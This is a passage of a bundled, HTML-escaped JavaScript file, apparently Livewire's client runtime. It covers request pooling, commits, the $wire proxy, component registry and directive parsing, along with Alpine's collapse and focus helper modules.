        if (commit.component === component)
          return commit;
      }
    }
    shouldHoldCommit(commit) {
      return !commit.isolate;
    }
    empty() {
      return this.commits.size === 0;
    }
    async send() {
      this.prepare();
      await sendRequest(this);
    }
    prepare() {
      this.commits.forEach((i) =&gt; i.prepare());
    }
    payload() {
      let commitPayloads = [];
      let successReceivers = [];
      let failureReceivers = [];
      this.commits.forEach((commit) =&gt; {
        let [payload, succeed2, fail2] = commit.toRequestPayload();
        commitPayloads.push(payload);
        successReceivers.push(succeed2);
        failureReceivers.push(fail2);
      });
      let succeed = (components2) =&gt; successReceivers.forEach((receiver) =&gt; receiver(components2.shift()));
      let fail = () =&gt; failureReceivers.forEach((receiver) =&gt; receiver());
      return [commitPayloads, succeed, fail];
    }
  };

  // js/request/commit.js
  var Commit = class {
    constructor(component) {
      this.component = component;
      this.isolate = false;
      this.calls = [];
      this.receivers = [];
      this.resolvers = [];
    }
    addResolver(resolver) {
      this.resolvers.push(resolver);
    }
    addCall(method, params, receiver) {
      this.calls.push({
        path: &quot;&quot;,
        method,
        params,
        handleReturn(value) {
          receiver(value);
        }
      });
    }
    prepare() {
      trigger2(&quot;commit.prepare&quot;, { component: this.component });
    }
    toRequestPayload() {
      let propertiesDiff = diff(this.component.canonical, this.component.ephemeral);
      let updates = this.component.mergeQueuedUpdates(propertiesDiff);
      let payload = {
        snapshot: this.component.snapshotEncoded,
        updates,
        calls: this.calls.map((i) =&gt; ({
          path: i.path,
          method: i.method,
          params: i.params
        }))
      };
      let succeedCallbacks = [];
      let failCallbacks = [];
      let respondCallbacks = [];
      let succeed = (fwd) =&gt; succeedCallbacks.forEach((i) =&gt; i(fwd));
      let fail = () =&gt; failCallbacks.forEach((i) =&gt; i());
      let respond = () =&gt; respondCallbacks.forEach((i) =&gt; i());
      let finishTarget = trigger2(&quot;commit&quot;, {
        component: this.component,
        commit: payload,
        succeed: (callback) =&gt; {
          succeedCallbacks.push(callback);
        },
        fail: (callback) =&gt; {
          failCallbacks.push(callback);
        },
        respond: (callback) =&gt; {
          respondCallbacks.push(callback);
        }
      });
      let handleResponse = (response) =&gt; {
        let { snapshot, effects } = response;
        respond();
        this.component.mergeNewSnapshot(snapshot, effects, updates);
        this.component.processEffects(this.component.effects);
        if (effects[&quot;returns&quot;]) {
          let returns = effects[&quot;returns&quot;];
          let returnHandlerStack = this.calls.map(({ handleReturn }) =&gt; handleReturn);
          returnHandlerStack.forEach((handleReturn, index) =&gt; {
            handleReturn(returns[index]);
          });
        }
        let parsedSnapshot = JSON.parse(snapshot);
        finishTarget({ snapshot: parsedSnapshot, effects });
        this.resolvers.forEach((i) =&gt; i());
        succeed(response);
      };
      let handleFailure = () =&gt; {
        respond();
        fail();
      };
      return [payload, handleResponse, handleFailure];
    }
  };

  // js/request/bus.js
  var CommitBus = class {
    constructor() {
      this.commits = /* @__PURE__ */ new Set();
      this.pools = /* @__PURE__ */ new Set();
    }
    add(component) {
      let commit = this.findCommitOr(component, () =&gt; {
        let newCommit = new Commit(component);
        this.commits.add(newCommit);
        return newCommit;
      });
      bufferPoolingForFiveMs(commit, () =&gt; {
        let pool = this.findPoolWithComponent(commit.component);
        if (!pool) {
          this.createAndSendNewPool();
        }
      });
      return commit;
    }
    findCommitOr(component, callback) {
      for (let [idx, commit] of this.commits.entries()) {
        if (commit.component === component) {
          return commit;
        }
      }
      return callback();
    }
    findPoolWithComponent(component) {
      for (let [idx, pool] of this.pools.entries()) {
        if (pool.hasCommitFor(component))
          return pool;
      }
    }
    createAndSendNewPool() {
      trigger2(&quot;commit.pooling&quot;, { commits: this.commits });
      let pools = this.corraleCommitsIntoPools();
      this.commits.clear();
      trigger2(&quot;commit.pooled&quot;, { pools });
      pools.forEach((pool) =&gt; {
        if (pool.empty())
          return;
        this.pools.add(pool);
        pool.send().then(() =&gt; {
          this.pools.delete(pool);
          this.sendAnyQueuedCommits();
        });
      });
    }
    corraleCommitsIntoPools() {
      let pools = /* @__PURE__ */ new Set();
      for (let [idx, commit] of this.commits.entries()) {
        let hasFoundPool = false;
        pools.forEach((pool) =&gt; {
          if (pool.shouldHoldCommit(commit)) {
            pool.add(commit);
            hasFoundPool = true;
          }
        });
        if (!hasFoundPool) {
          let newPool = new RequestPool();
          newPool.add(commit);
          pools.add(newPool);
        }
      }
      return pools;
    }
    sendAnyQueuedCommits() {
      if (this.commits.size &gt; 0) {
        this.createAndSendNewPool();
      }
    }
  };
  var buffersByCommit = /* @__PURE__ */ new WeakMap();
  function bufferPoolingForFiveMs(commit, callback) {
    if (buffersByCommit.has(commit))
      return;
    buffersByCommit.set(commit, setTimeout(() =&gt; {
      callback();
      buffersByCommit.delete(commit);
    }, 5));
  }

  // js/request/index.js
  var commitBus = new CommitBus();
  async function requestCommit(component) {
    let commit = commitBus.add(component);
    let promise = new Promise((resolve) =&gt; {
      commit.addResolver(resolve);
    });
    promise.commit = commit;
    return promise;
  }
  async function requestCall(component, method, params) {
    let commit = commitBus.add(component);
    let promise = new Promise((resolve) =&gt; {
      commit.addCall(method, params, (value) =&gt; resolve(value));
    });
    promise.commit = commit;
    return promise;
  }
  async function sendRequest(pool) {
    let [payload, handleSuccess, handleFailure] = pool.payload();
    let options = {
      method: &quot;POST&quot;,
      body: JSON.stringify({
        _token: getCsrfToken(),
        components: payload
      }),
      headers: {
        &quot;Content-type&quot;: &quot;application/json&quot;,
        &quot;X-Livewire&quot;: &quot;&quot;
      }
    };
    let succeedCallbacks = [];
    let failCallbacks = [];
    let respondCallbacks = [];
    let succeed = (fwd) =&gt; succeedCallbacks.forEach((i) =&gt; i(fwd));
    let fail = (fwd) =&gt; failCallbacks.forEach((i) =&gt; i(fwd));
    let respond = (fwd) =&gt; respondCallbacks.forEach((i) =&gt; i(fwd));
    let finishProfile = trigger2(&quot;request.profile&quot;, options);
    let updateUri = getUpdateUri();
    trigger2(&quot;request&quot;, {
      url: updateUri,
      options,
      payload: options.body,
      respond: (i) =&gt; respondCallbacks.push(i),
      succeed: (i) =&gt; succeedCallbacks.push(i),
      fail: (i) =&gt; failCallbacks.push(i)
    });
    let response;
    try {
      response = await fetch(updateUri, options);
    } catch (e) {
      finishProfile({ content: &quot;{}&quot;, failed: true });
      handleFailure();
      fail({
        status: 503,
        content: null,
        preventDefault: () =&gt; {
        }
      });
      return;
    }
    let mutableObject = {
      status: response.status,
      response
    };
    respond(mutableObject);
    response = mutableObject.response;
    let content = await response.text();
    if (!response.ok) {
      finishProfile({ content: &quot;{}&quot;, failed: true });
      let preventDefault = false;
      handleFailure();
      fail({
        status: response.status,
        content,
        preventDefault: () =&gt; preventDefault = true
      });
      if (preventDefault)
        return;
      if (response.status === 419) {
        handlePageExpiry();
      }
      return showFailureModal(content);
    }
    if (response.redirected) {
      window.location.href = response.url;
    }
    if (contentIsFromDump(content)) {
      let dump;
      [dump, content] = splitDumpFromContent(content);
      showHtmlModal(dump);
      finishProfile({ content: &quot;{}&quot;, failed: true });
    } else {
      finishProfile({ content, failed: false });
    }
    let { components: components2, assets } = JSON.parse(content);
    await triggerAsync(&quot;payload.intercept&quot;, { components: components2, assets });
    await handleSuccess(components2);
    succeed({ status: response.status, json: JSON.parse(content) });
  }
  function handlePageExpiry() {
    confirm(&quot;This page has expired.\nWould you like to refresh the page?&quot;) &amp;&amp; window.location.reload();
  }
  function showFailureModal(content) {
    let html = content;
    showHtmlModal(html);
  }

  // js/$wire.js
  var properties = {};
  var fallback;
  function wireProperty(name, callback, component = null) {
    properties[name] = callback;
  }
  function wireFallback(callback) {
    fallback = callback;
  }
  var aliases = {
    &quot;on&quot;: &quot;$on&quot;,
    &quot;el&quot;: &quot;$el&quot;,
    &quot;id&quot;: &quot;$id&quot;,
    &quot;get&quot;: &quot;$get&quot;,
    &quot;set&quot;: &quot;$set&quot;,
    &quot;call&quot;: &quot;$call&quot;,
    &quot;commit&quot;: &quot;$commit&quot;,
    &quot;watch&quot;: &quot;$watch&quot;,
    &quot;entangle&quot;: &quot;$entangle&quot;,
    &quot;dispatch&quot;: &quot;$dispatch&quot;,
    &quot;dispatchTo&quot;: &quot;$dispatchTo&quot;,
    &quot;dispatchSelf&quot;: &quot;$dispatchSelf&quot;,
    &quot;upload&quot;: &quot;$upload&quot;,
    &quot;uploadMultiple&quot;: &quot;$uploadMultiple&quot;,
    &quot;removeUpload&quot;: &quot;$removeUpload&quot;,
    &quot;cancelUpload&quot;: &quot;$cancelUpload&quot;
  };
  function generateWireObject(component, state) {
    return new Proxy({}, {
      get(target, property) {
        if (property === &quot;__instance&quot;)
          return component;
        if (property in aliases) {
          return getProperty(component, aliases[property]);
        } else if (property in properties) {
          return getProperty(component, property);
        } else if (property in state) {
          return state[property];
        } else if (![&quot;then&quot;].includes(property)) {
          return getFallback(component)(property);
        }
      },
      set(target, property, value) {
        if (property in state) {
          state[property] = value;
        }
        return true;
      }
    });
  }
  function getProperty(component, name) {
    return properties[name](component);
  }
  function getFallback(component) {
    return fallback(component);
  }
  module_default.magic(&quot;wire&quot;, (el, { cleanup: cleanup2 }) =&gt; {
    let component;
    return new Proxy({}, {
      get(target, property) {
        if (!component)
          component = closestComponent(el);
        if ([&quot;$entangle&quot;, &quot;entangle&quot;].includes(property)) {
          return generateEntangleFunction(component, cleanup2);
        }
        return component.$wire[property];
      },
      set(target, property, value) {
        if (!component)
          component = closestComponent(el);
        component.$wire[property] = value;
        return true;
      }
    });
  });
  wireProperty(&quot;__instance&quot;, (component) =&gt; component);
  wireProperty(&quot;$get&quot;, (component) =&gt; (property, reactive3 = true) =&gt; dataGet(reactive3 ? component.reactive : component.ephemeral, property));
  wireProperty(&quot;$el&quot;, (component) =&gt; {
    return component.el;
  });
  wireProperty(&quot;$id&quot;, (component) =&gt; {
    return component.id;
  });
  wireProperty(&quot;$set&quot;, (component) =&gt; async (property, value, live = true) =&gt; {
    dataSet(component.reactive, property, value);
    if (live) {
      component.queueUpdate(property, value);
      return await requestCommit(component);
    }
    return Promise.resolve();
  });
  wireProperty(&quot;$call&quot;, (component) =&gt; async (method, ...params) =&gt; {
    return await component.$wire[method](...params);
  });
  wireProperty(&quot;$entangle&quot;, (component) =&gt; (name, live = false) =&gt; {
    return generateEntangleFunction(component)(name, live);
  });
  wireProperty(&quot;$toggle&quot;, (component) =&gt; (name, live = true) =&gt; {
    return component.$wire.set(name, !component.$wire.get(name), live);
  });
  wireProperty(&quot;$watch&quot;, (component) =&gt; (path, callback) =&gt; {
    let getter = () =&gt; {
      return dataGet(component.reactive, path);
    };
    let unwatch = module_default.watch(getter, callback);
    component.addCleanup(unwatch);
  });
  wireProperty(&quot;$refresh&quot;, (component) =&gt; component.$wire.$commit);
  wireProperty(&quot;$commit&quot;, (component) =&gt; async () =&gt; await requestCommit(component));
  wireProperty(&quot;$on&quot;, (component) =&gt; (...params) =&gt; listen2(component, ...params));
  wireProperty(&quot;$dispatch&quot;, (component) =&gt; (...params) =&gt; dispatch3(component, ...params));
  wireProperty(&quot;$dispatchSelf&quot;, (component) =&gt; (...params) =&gt; dispatchSelf(component, ...params));
  wireProperty(&quot;$dispatchTo&quot;, () =&gt; (...params) =&gt; dispatchTo(...params));
  wireProperty(&quot;$upload&quot;, (component) =&gt; (...params) =&gt; upload(component, ...params));
  wireProperty(&quot;$uploadMultiple&quot;, (component) =&gt; (...params) =&gt; uploadMultiple(component, ...params));
  wireProperty(&quot;$removeUpload&quot;, (component) =&gt; (...params) =&gt; removeUpload(component, ...params));
  wireProperty(&quot;$cancelUpload&quot;, (component) =&gt; (...params) =&gt; cancelUpload(component, ...params));
  var parentMemo = /* @__PURE__ */ new WeakMap();
  wireProperty(&quot;$parent&quot;, (component) =&gt; {
    if (parentMemo.has(component))
      return parentMemo.get(component).$wire;
    let parent = component.parent;
    parentMemo.set(component, parent);
    return parent.$wire;
  });
  var overriddenMethods = /* @__PURE__ */ new WeakMap();
  function overrideMethod(component, method, callback) {
    if (!overriddenMethods.has(component)) {
      overriddenMethods.set(component, {});
    }
    let obj = overriddenMethods.get(component);
    obj[method] = callback;
    overriddenMethods.set(component, obj);
  }
  wireFallback((component) =&gt; (property) =&gt; async (...params) =&gt; {
    if (params.length === 1 &amp;&amp; params[0] instanceof Event) {
      params = [];
    }
    if (overriddenMethods.has(component)) {
      let overrides = overriddenMethods.get(component);
      if (typeof overrides[property] === &quot;function&quot;) {
        return overrides[property](params);
      }
    }
    return await requestCall(component, property, params);
  });

  // js/component.js
  var Component = class {
    constructor(el) {
      if (el.__livewire)
        throw &quot;Component already initialized&quot;;
      el.__livewire = this;
      this.el = el;
      this.id = el.getAttribute(&quot;wire:id&quot;);
      this.__livewireId = this.id;
      this.snapshotEncoded = el.getAttribute(&quot;wire:snapshot&quot;);
      this.snapshot = JSON.parse(this.snapshotEncoded);
      if (!this.snapshot) {
        throw `Snapshot missing on Livewire component with id: ` + this.id;
      }
      this.name = this.snapshot.memo.name;
      this.effects = JSON.parse(el.getAttribute(&quot;wire:effects&quot;));
      this.originalEffects = deepClone(this.effects);
      this.canonical = extractData(deepClone(this.snapshot.data));
      this.ephemeral = extractData(deepClone(this.snapshot.data));
      this.reactive = Alpine.reactive(this.ephemeral);
      this.queuedUpdates = {};
      this.$wire = generateWireObject(this, this.reactive);
      this.cleanups = [];
      this.processEffects(this.effects);
    }
    mergeNewSnapshot(snapshotEncoded, effects, updates = {}) {
      let snapshot = JSON.parse(snapshotEncoded);
      let oldCanonical = deepClone(this.canonical);
      let updatedOldCanonical = this.applyUpdates(oldCanonical, updates);
      let newCanonical = extractData(deepClone(snapshot.data));
      let dirty = diff(updatedOldCanonical, newCanonical);
      this.snapshotEncoded = snapshotEncoded;
      this.snapshot = snapshot;
      this.effects = effects;
      this.canonical = extractData(deepClone(snapshot.data));
      let newData = extractData(deepClone(snapshot.data));
      Object.entries(dirty).forEach(([key, value]) =&gt; {
        let rootKey = key.split(&quot;.&quot;)[0];
        this.reactive[rootKey] = newData[rootKey];
      });
      return dirty;
    }
    queueUpdate(propertyName, value) {
      this.queuedUpdates[propertyName] = value;
    }
    mergeQueuedUpdates(diff2) {
      Object.entries(this.queuedUpdates).forEach(([updateKey, updateValue]) =&gt; {
        Object.entries(diff2).forEach(([diffKey, diffValue]) =&gt; {
          if (diffKey.startsWith(updateValue)) {
            delete diff2[diffKey];
          }
        });
        diff2[updateKey] = updateValue;
      });
      this.queuedUpdates = [];
      return diff2;
    }
    applyUpdates(object, updates) {
      for (let key in updates) {
        dataSet(object, key, updates[key]);
      }
      return object;
    }
    replayUpdate(snapshot, html) {
      let effects = { ...this.effects, html };
      this.mergeNewSnapshot(JSON.stringify(snapshot), effects);
      this.processEffects({ html });
    }
    processEffects(effects) {
      trigger2(&quot;effects&quot;, this, effects);
      trigger2(&quot;effect&quot;, {
        component: this,
        effects,
        cleanup: (i) =&gt; this.addCleanup(i)
      });
    }
    get children() {
      let meta = this.snapshot.memo;
      let childIds = Object.values(meta.children).map((i) =&gt; i[1]);
      return childIds.map((id) =&gt; findComponent(id));
    }
    get parent() {
      return closestComponent(this.el.parentElement);
    }
    inscribeSnapshotAndEffectsOnElement() {
      let el = this.el;
      el.setAttribute(&quot;wire:snapshot&quot;, this.snapshotEncoded);
      let effects = this.originalEffects.listeners ? { listeners: this.originalEffects.listeners } : {};
      if (this.originalEffects.url) {
        effects.url = this.originalEffects.url;
      }
      if (this.originalEffects.scripts) {
        effects.scripts = this.originalEffects.scripts;
      }
      el.setAttribute(&quot;wire:effects&quot;, JSON.stringify(effects));
    }
    addCleanup(cleanup2) {
      this.cleanups.push(cleanup2);
    }
    cleanup() {
      delete this.el.__livewire;
      while (this.cleanups.length &gt; 0) {
        this.cleanups.pop()();
      }
    }
  };

  // js/store.js
  var components = {};
  function initComponent(el) {
    let component = new Component(el);
    if (components[component.id])
      throw &quot;Component already registered&quot;;
    let cleanup2 = (i) =&gt; component.addCleanup(i);
    trigger2(&quot;component.init&quot;, { component, cleanup: cleanup2 });
    components[component.id] = component;
    return component;
  }
  function destroyComponent(id) {
    let component = components[id];
    if (!component)
      return;
    component.cleanup();
    delete components[id];
  }
  function findComponent(id) {
    let component = components[id];
    if (!component)
      throw &quot;Component not found: &quot; + id;
    return component;
  }
  function closestComponent(el, strict = true) {
    let closestRoot2 = Alpine.findClosest(el, (i) =&gt; i.__livewire);
    if (!closestRoot2) {
      if (strict)
        throw &quot;Could not find Livewire component in DOM tree&quot;;
      return;
    }
    return closestRoot2.__livewire;
  }
  function componentsByName(name) {
    return Object.values(components).filter((component) =&gt; {
      return name == component.name;
    });
  }
  function getByName(name) {
    return componentsByName(name).map((i) =&gt; i.$wire);
  }
  function find(id) {
    let component = components[id];
    return component &amp;&amp; component.$wire;
  }
  function first() {
    return Object.values(components)[0].$wire;
  }
  function all() {
    return Object.values(components);
  }

  // js/events.js
  function dispatch3(component, name, params) {
    dispatchEvent(component.el, name, params);
  }
  function dispatchGlobal(name, params) {
    dispatchEvent(window, name, params);
  }
  function dispatchSelf(component, name, params) {
    dispatchEvent(component.el, name, params, false);
  }
  function dispatchTo(componentName, name, params) {
    let targets = componentsByName(componentName);
    targets.forEach((target) =&gt; {
      dispatchEvent(target.el, name, params, false);
    });
  }
  function listen2(component, name, callback) {
    component.el.addEventListener(name, (e) =&gt; {
      callback(e.detail);
    });
  }
  function on3(eventName, callback) {
    let handler4 = (e) =&gt; {
      if (!e.__livewire)
        return;
      callback(e.detail);
    };
    window.addEventListener(eventName, handler4);
    return () =&gt; {
      window.removeEventListener(eventName, handler4);
    };
  }
  function dispatchEvent(target, name, params, bubbles = true) {
    let e = new CustomEvent(name, { bubbles, detail: params });
    e.__livewire = { name, params, receivedBy: [] };
    target.dispatchEvent(e);
  }

  // js/directives.js
  var customDirectiveNames = /* @__PURE__ */ new Set();
  function matchesForLivewireDirective(attributeName) {
    return attributeName.match(new RegExp(&quot;wire:&quot;));
  }
  function extractDirective(el, name) {
    let [value, ...modifiers] = name.replace(new RegExp(&quot;wire:&quot;), &quot;&quot;).split(&quot;.&quot;);
    return new Directive(value, modifiers, name, el);
  }
  function directive2(name, callback) {
    if (customDirectiveNames.has(name))
      return;
    customDirectiveNames.add(name);
    on2(&quot;directive.init&quot;, ({ el, component, directive: directive3, cleanup: cleanup2 }) =&gt; {
      if (directive3.value === name) {
        callback({
          el,
          directive: directive3,
          component,
          $wire: component.$wire,
          cleanup: cleanup2
        });
      }
    });
  }
  function globalDirective(name, callback) {
    if (customDirectiveNames.has(name))
      return;
    customDirectiveNames.add(name);
    on2(&quot;directive.global.init&quot;, ({ el, directive: directive3, cleanup: cleanup2 }) =&gt; {
      if (directive3.value === name) {
        callback({ el, directive: directive3, cleanup: cleanup2 });
      }
    });
  }
  function getDirectives(el) {
    return new DirectiveManager(el);
  }
  function customDirectiveHasBeenRegistered(name) {
    return customDirectiveNames.has(name);
  }
  var DirectiveManager = class {
    constructor(el) {
      this.el = el;
      this.directives = this.extractTypeModifiersAndValue();
    }
    all() {
      return this.directives;
    }
    has(value) {
      return this.directives.map((directive3) =&gt; directive3.value).includes(value);
    }
    missing(value) {
      return !this.has(value);
    }
    get(value) {
      return this.directives.find((directive3) =&gt; directive3.value === value);
    }
    extractTypeModifiersAndValue() {
      return Array.from(this.el.getAttributeNames().filter((name) =&gt; matchesForLivewireDirective(name)).map((name) =&gt; extractDirective(this.el, name)));
    }
  };
  var Directive = class {
    constructor(value, modifiers, rawName, el) {
      this.rawName = this.raw = rawName;
      this.el = el;
      this.eventContext;
      this.value = value;
      this.modifiers = modifiers;
      this.expression = this.el.getAttribute(this.rawName);
    }
    get method() {
      const { method } = this.parseOutMethodAndParams(this.expression);
      return method;
    }
    get params() {
      const { params } = this.parseOutMethodAndParams(this.expression);
      return params;
    }
    parseOutMethodAndParams(rawMethod) {
      let method = rawMethod;
      let params = [];
      const methodAndParamString = method.match(/(.*?)\((.*)\)/s);
      if (methodAndParamString) {
        method = methodAndParamString[1];
        let func = new Function(&quot;$event&quot;, `return (function () {
                for (var l=arguments.length, p=new Array(l), k=0; k&lt;l; k++) {
                    p[k] = arguments[k];
                }
                return [].concat(p);
            })(${methodAndParamString[2]})`);
        params = func(this.eventContext);
      }
      return { method, params };
    }
  };

  // node_modules/@alpinejs/collapse/dist/module.esm.js
  function src_default2(Alpine3) {
    Alpine3.directive(&quot;collapse&quot;, collapse);
    collapse.inline = (el, { modifiers }) =&gt; {
      if (!modifiers.includes(&quot;min&quot;))
        return;
      el._x_doShow = () =&gt; {
      };
      el._x_doHide = () =&gt; {
      };
    };
    function collapse(el, { modifiers }) {
      let duration = modifierValue2(modifiers, &quot;duration&quot;, 250) / 1e3;
      let floor2 = modifierValue2(modifiers, &quot;min&quot;, 0);
      let fullyHide = !modifiers.includes(&quot;min&quot;);
      if (!el._x_isShown)
        el.style.height = `${floor2}px`;
      if (!el._x_isShown &amp;&amp; fullyHide)
        el.hidden = true;
      if (!el._x_isShown)
        el.style.overflow = &quot;hidden&quot;;
      let setFunction = (el2, styles) =&gt; {
        let revertFunction = Alpine3.setStyles(el2, styles);
        return styles.height ? () =&gt; {
        } : revertFunction;
      };
      let transitionStyles = {
        transitionProperty: &quot;height&quot;,
        transitionDuration: `${duration}s`,
        transitionTimingFunction: &quot;cubic-bezier(0.4, 0.0, 0.2, 1)&quot;
      };
      el._x_transition = {
        in(before = () =&gt; {
        }, after = () =&gt; {
        }) {
          if (fullyHide)
            el.hidden = false;
          if (fullyHide)
            el.style.display = null;
          let current = el.getBoundingClientRect().height;
          el.style.height = &quot;auto&quot;;
          let full = el.getBoundingClientRect().height;
          if (current === full) {
            current = floor2;
          }
          Alpine3.transition(el, Alpine3.setStyles, {
            during: transitionStyles,
            start: { height: current + &quot;px&quot; },
            end: { height: full + &quot;px&quot; }
          }, () =&gt; el._x_isShown = true, () =&gt; {
            if (Math.abs(el.getBoundingClientRect().height - full) &lt; 1) {
              el.style.overflow = null;
            }
          });
        },
        out(before = () =&gt; {
        }, after = () =&gt; {
        }) {
          let full = el.getBoundingClientRect().height;
          Alpine3.transition(el, setFunction, {
            during: transitionStyles,
            start: { height: full + &quot;px&quot; },
            end: { height: floor2 + &quot;px&quot; }
          }, () =&gt; el.style.overflow = &quot;hidden&quot;, () =&gt; {
            el._x_isShown = false;
            if (el.style.height == `${floor2}px` &amp;&amp; fullyHide) {
              el.style.display = &quot;none&quot;;
              el.hidden = true;
            }
          });
        }
      };
    }
  }
  function modifierValue2(modifiers, key, fallback2) {
    if (modifiers.indexOf(key) === -1)
      return fallback2;
    const rawValue = modifiers[modifiers.indexOf(key) + 1];
    if (!rawValue)
      return fallback2;
    if (key === &quot;duration&quot;) {
      let match = rawValue.match(/([0-9]+)ms/);
      if (match)
        return match[1];
    }
    if (key === &quot;min&quot;) {
      let match = rawValue.match(/([0-9]+)px/);
      if (match)
        return match[1];
    }
    return rawValue;
  }
  var module_default2 = src_default2;

  // node_modules/@alpinejs/focus/dist/module.esm.js
  var candidateSelectors = [&quot;input&quot;, &quot;select&quot;, &quot;textarea&quot;, &quot;a[href]&quot;, &quot;button&quot;, &quot;[tabindex]:not(slot)&quot;, &quot;audio[controls]&quot;, &quot;video[controls]&quot;, &#039;[contenteditable]:not([contenteditable=&quot;false&quot;])&#039;, &quot;details&gt;summary:first-of-type&quot;, &quot;details&quot;];
  var candidateSelector = /* @__PURE__ */ candidateSelectors.join(&quot;,&quot;);
  var NoElement = typeof Element === &quot;undefined&quot;;
  var matches = NoElement ? function() {
  } : Element.prototype.matches || Element.prototype.msMatchesSelector || Element.prototype.webkitMatchesSelector;
  var getRootNode = !NoElement &amp;&amp; Element.prototype.getRootNode ? function(element) {
    return element.getRootNode();
  } : function(element) {
    return element.ownerDocument;
  };
  var getCandidates = function getCandidates2(el, includeContainer, filter) {
    var candidates = Array.prototype.slice.apply(el.querySelectorAll(candidateSelector));
    if (includeContainer &amp;&amp; matches.call(el, candidateSelector)) {
      candidates.unshift(el);
    }
    candidates = candidates.filter(filter);
    return candidates;
  };
  var getCandidatesIteratively = function getCandidatesIteratively2(elements, includeContainer, options) {
    var candidates = [];
    var elementsToCheck = Array.from(elements);
    while (elementsToCheck.length) {
      var element = elementsToCheck.shift();
      if (element.tagName === &quot;SLOT&quot;) {
        var assigned = element.assignedElements();
        var content = assigned.length ? assigned : element.children;
        var nestedCandidates = getCandidatesIteratively2(content, true, options);
        if (options.flatten) {
          candidates.push.apply(candidates, nestedCandidates);
        } else {
          candidates.push({
            scope: element,
            candidates: nestedCandidates
          });
        }
      } else {
        var validCandidate = matches.call(element, candidateSelector);
        if (validCandidate &amp;&amp; options.filter(element) &amp;&amp; (includeContainer || !elements.includes(element))) {
          candidates.push(element);
        }
        var shadowRoot = element.shadowRoot || typeof options.getShadowRoot === &quot;function&quot; &amp;&amp; options.getShadowRoot(element);
        var validShadowRoot = !options.shadowRootFilter || options.shadowRootFilter(element);
        if (shadowRoot &amp;&amp; validShadowRoot) {
          var _nestedCandidates = getCandidatesIteratively2(shadowRoot === true ? element.children : shadowRoot.children, true, options);
          if (options.flatten) {
            candidates.push.apply(candidates, _nestedCandidates);
          } else {
            candidates.push({
              scope: element,
              candidates: _nestedCandidates
            });
          }
        } else {
          elementsToCheck.unshift.apply(elementsToCheck, element.children);
        }
      }
    }
    return candidates;
  };
  var getTabindex = function getTabindex2(node, isScope) {
    if (node.tabIndex &lt; 0) {
      if ((isScope || /^(AUDIO|VIDEO|DETAILS)$/.test(node.tagName) || node.isContentEditable) &amp;&amp; isNaN(parseInt(node.getAttribute(&quot;tabindex&quot;), 10))) {
        return 0;
      }
    }
    return node.tabIndex;
  };
  var sortOrderedTabbables = function sortOrderedTabbables2(a, b) {
    return a.tabIndex === b.tabIndex ? a.documentOrder - b.documentOrder : a.tabIndex - b.tabIndex;
  };
  var isInput = function isInput2(node) {
    return node.tagName === &quot;INPUT&quot;;
  };
  var isHiddenInput = function isHiddenInput2(node) {
    return isInput(node) &amp;&amp; node.type === &quot;hidden&quot;;
  };
  var isDetailsWithSummary = function isDetailsWithSummary2(node) {
    var r = node.tagName === &quot;DETAILS&quot; &amp;&amp; Array.prototype.slice.apply(node.children).some(function(child) {
      return child.tagName === &quot;SUMMARY&quot;;
    });
    return r;
  };
  var getCheckedRadio = function getCheckedRadio2(nodes, form) {
    for (var i = 0; i &lt; nodes.length; i++) {
      if (nodes[i].checked &amp;&amp; nodes[i].form === form) {
        return nodes[i];
      }
    }
  };
  var isTabbableRadio = function isTabbableRadio2(node) {
    if (!node.name) {
      return true;
    }
    var radioScope = node.form || getRootNode(node);
    var queryRadios = function queryRadios2(name) {
      return radioScope.querySelectorAll(&#039;input[type=&quot;radio&quot;][name=&quot;&#039; + name + &#039;&quot;]&#039;);
    };
    var radioSet;
    if (typeof window !== &quot;undefined&quot; &amp;&amp; typeof window.CSS !== &quot;undefined&quot; &amp;&amp; typeof window.CSS.escape === &quot;function&quot;) {
      radioSet = queryRadios(window.CSS.escape(node.name));
    } else {
      try {
        radioSet = queryRadios(node.name);
      } catch (err) {
        console.error(&quot;Looks like you have a radio button with a name attribute containing invalid CSS selector characters and need the CSS.escape polyfill: %s&quot;, err.message);
        return false;
      }
    }
    var checked = getCheckedRadio(radioSet, node.form);
    return !checked || checked === node;
  };
  var isRadio2 = function isRadio22(node) {
    return isInput(node) &amp;&amp; node.type === &quot;radio&quot;;
  };
  var isNonTabbableRadio = function isNonTabbableRadio2(node) {
    return isRadio2(node) &amp;&amp; !isTabbableRadio(node);
  };
  var isZeroArea = function isZeroArea2(node) {
    var _node$getBoundingClie = node.getBoundingClientRect(), width = _node$getBoundingClie.width, height = _node$getBoundingClie.height;
    return width === 0 &amp;&amp; height === 0;
  };
  var isHidden = function isHidden2(node, _ref) {
    var displayCheck = _ref.displayCheck, getShadowRoot = _ref.getShadowRoot;
    if (getComputedStyle(node).visibility === &quot;hidden&quot;) {
      return true;
    }
    var isDirectSummary = matches.call(node, &quot;details&gt;summary:first-of-type&quot;);
    var nodeUnderDetails = isDirectSummary ? node.parentElement : node;
    if (matches.call(nodeUnderDetails, &quot;details:not([open]) *&quot;)) {
      return true;
    }
    var nodeRootHost = getRootNode(node).host;
    var nodeIsAttached = (nodeRootHost === null || nodeRootHost === void 0 ? void 0 : nodeRootHost.ownerDocument.contains(nodeRootHost)) || node.ownerDocument.contains(node);
    if (!displayCheck || displayCheck === &quot;full&quot;) {
      if (typeof getShadowRoot === &quot;function&quot;) {
        var originalNode = node;
        while (node) {
          var parentElement = node.parentElement;
          var rootNode = getRootNode(node);
          if (parentElement &amp;&amp; !parentElement.shadowRoot &amp;&amp; getShadowRoot(parentElement) === true) {
            return isZeroArea(node);
          } else if (node.assignedSlot) {
            node = node.assignedSlot;
          } else if (!parentElement &amp;&amp; rootNode !== node.ownerDocument) {
            node = rootNode.host;
          } else {
            node = parentElement;
          }
        }
        node = originalNode;
      }
      if (nodeIsAttached) {
        return !node.getClientRects().length;
      }
    } else if (displayCheck === &quot;non-zero-area&quot;) {
      return isZeroArea(node);
    }
    return false;
  };
  var isDisabledFromFieldset = function isDisabledFromFieldset2(node) {
    if (/^(INPUT|BUTTON|SELECT|TEXTAREA)$/.test(node.tagName)) {
      var parentNode = node.parentElement;
      while (parentNode) {
        if (parentNode.tagName === &quot;FIELDSET&quot; &amp;&amp; parentNode.disabled) {
          for (var i = 0; i &lt; parentNode.children.length; i++) {
            var child = parentNode.children.item(i);
            if (child.tagName === &quot;LEGEND&quot;) {
              return matches.call(parentNode, &quot;fieldset[disabled] *&quot;) ? true : !child.contains(node);
            }
          }
          return true;
        }
        parentNode = parentNode.parentElement;
      }
    }
    return false;
  };
  var isNodeMatchingSelectorFocusable = function isNodeMatchingSelectorFocusable2(options, node) {
